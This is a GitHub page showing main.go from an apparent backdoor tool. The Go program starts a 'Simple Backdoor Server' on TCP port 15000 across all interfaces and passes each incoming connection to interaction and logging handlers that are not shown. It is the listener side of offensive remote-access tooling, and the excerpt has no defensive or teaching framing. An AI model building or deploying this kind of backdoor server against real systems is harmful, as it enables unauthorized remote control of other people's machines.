-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
37 lines (31 loc) · 659 Bytes
/
Copy pathmain.go
File metadata and controls
37 lines (31 loc) · 659 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main
import (
"fmt"
"github.com/sirupsen/logrus"
"net"
"sync/atomic"
)
const (
//If empty then listen on all available interfaces
CHOST = ""
CPORT = "15000"
CTYPE = "tcp4"
)
func main() {
var connected int32 = 0
listen, err := net.Listen(CTYPE, CHOST+":"+CPORT)
if err != nil {
logrus.Fatal(err)
}
defer listen.Close()
fmt.Printf("Simple Backdoor Server Listening on %s:%s\n", CHOST, CPORT)
for {
conn, err := listen.Accept()
if err != nil {
logrus.Fatal(err)
}
atomic.AddInt32(&connected, 1)
go NewLogger(NewInteract(conn, &connected)).Exec()
logrus.Printf("nb Connected: %d", atomic.LoadInt32(&connected))
}
}